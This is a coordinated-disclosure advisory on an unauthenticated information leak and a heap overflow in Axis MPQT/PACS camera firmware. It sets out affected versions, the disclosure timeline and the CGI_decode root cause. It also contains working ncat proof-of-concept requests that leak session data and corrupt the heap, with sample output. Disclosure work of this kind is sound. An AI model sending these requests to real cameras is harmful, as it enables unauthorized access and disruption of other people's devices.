Axis Communications MPQT/PACS Heap Overflow / Information Leakage

2017-12-01T00:00:00
ID PACKETSTORM:145180
Type packetstorm
Reporter bashis
Modified 2017-12-01T00:00:00

Description

                                        
                                            `[STX]  
  
Subject: Axis Communications MPQT/PACS Heap Overflow and Information Leakage.  
  
Attack vector: Remote  
Authentication: Anonymous (no credentials needed)  
Researcher: bashis <mcw noemail eu> (August 2017)  
PoC: https://github.com/mcw0/PoC  
Release date: December 1, 2017  
Full Disclosure: 90 days (due to the large volume of affected devices)  
  
heap: Non-Executable + ASLR  
stack: Non-Executable + ASLR  
  
Axis Vulnerability ID: ACV-120444  
  
Vulnerable: MPQT series < v7.20.x/6.50.1.2  
Not vulnerable: MPQT series > v7.30/6.50.1.3 (Releases from September to November 2017)  
  
Vulnerable: PACS series < v1.30.0.2/1.60.0/1.10.0.2/1.65.1  
Not vulnerable (Releases from October to November 2017):  
  
1. Information leak; All MPQT and PACS (Exist actually from v4.x Firmware)  
2. Heap Overflow; MPQT and PACS with Apache Web Server (cannot be triggered with Boa Web Server)  
  
[Note]  
The best way to find a fixed FW is to check the Axis advisory and look for 'ACV-120444' in the release notes.  
https://www.axis.com/global/en/support/firmware  
https://www.axis.com/global/en/support/product-security  
  
  
Timeline:  
August 31, 2017: Initiated contact with Axis  
September 1, 2017: Response from Axis  
September 5, 2017: ACK of findings from Axis  
September 9, 2017: Received first test image from Axis to verify fix  
September 28, 2017: Received first advisory draft from Axis  
November 15-27, 2017: Coordination with Axis for Full Disclosure  
December 1, 2017: Full Disclosure  
  
-[General Information]-  
"CGI_decode" in /usr/lib/libcgiparser.so suffers from a bug in the handling URL decode of '%xx'.  
The CGI_decode does not check the size of what it is about to decode, it always assumes "%" plus two chars.  
  
By supplying only one single '%', 'CGI_decode' will try to URL decode [% + NULL + Next char], which lead to the return of a longer string than expected as the new string will be read until the next NULL. ([NULL string termination + Next char] are replaced with one '?')  
  
-[Information leakage]-  
  
The "%"" in "GET /index.shtml?size=%"" triggers both "information disclosure" and "heap overflow", depending on how it will be used.  
  
[PoC] (see the breakpoint with the 'AAAA' in the 'Result')  
$ echo -en "GET /index.shtml?size=AAAA% HTTP/1.0\n\n" | ncat -v 192.168.57.20 80  
  
[Result]  
...  
var completePath = "imagepath=" + encodeURIComponent(imagepath) + "&size=AAAA?http_user=anonymous&http_remote_addr=192.168.57.1&http_remote_port=44019&http_port=80&http_scheme_addr=http://http&http_protocol=http&www_authenticate_header=WWW-Authenticate:%20Digest%20realm=%22_%22,%20nonce=%22pP/WaqNeBQA=884e58ea2563f69a14215a33ca02efa68eeca126%22,%20algorithm=MD5,%20qop=%22auth%22";  
...  
  
  
-[Heap Overflow]-  
  
To trigger the heap overflow we need to send ~20KB amount of data that would normally not be accepted by the Web server.  
The way around this is to use 'Referer:' and 'x-sessioncookie', where we can send max 8162 bytes in each of them.  
  
[Note]  
Without the information leakage bug above, the realloc() will never be triggered regardless how much data is sent.  
  
[PoC]  
$ echo -en "GET /index.shtml?size=% HTTP/1.0\nReferer: `for((i=0;i<8162;i++));do echo -en "\x22";done`\nx-sessioncookie: `for((i=0;i<2157;i++));do echo -en "\x22";done`\n\n" | ncat -v 192.168.57.20 80  
  
[Result]  
/var/log/info.log  
2017-05-08T08:22:23.801+00:00 axis [ INFO ] ssid[3337]: *** Error in `/bin/ssid': realloc(): invalid next size: 0x00bfda50 ***  
  
-[Vulnerable binaries]-  
  
/bin/ssid (Server Side Include Daemon)  
/bin/urldecode (URL Command Line Tool)  
/usr/bin/dynamic_overlayd (Dynamic Overlay Daemon)  
/usr/bin/wsd (Web Service Dispatch Daemon)  
/usr/html/axis-cgi/param.cgi (VAPIX Parameter Management)  
  
/usr/lib/libwsevent.so  
/usr/lib/libcgiparser.so (<= with the vulnerable function 'CGI_decode()', used in above binaries)  
  
Have a nice day  
/bashis  
  
[ETX]  
`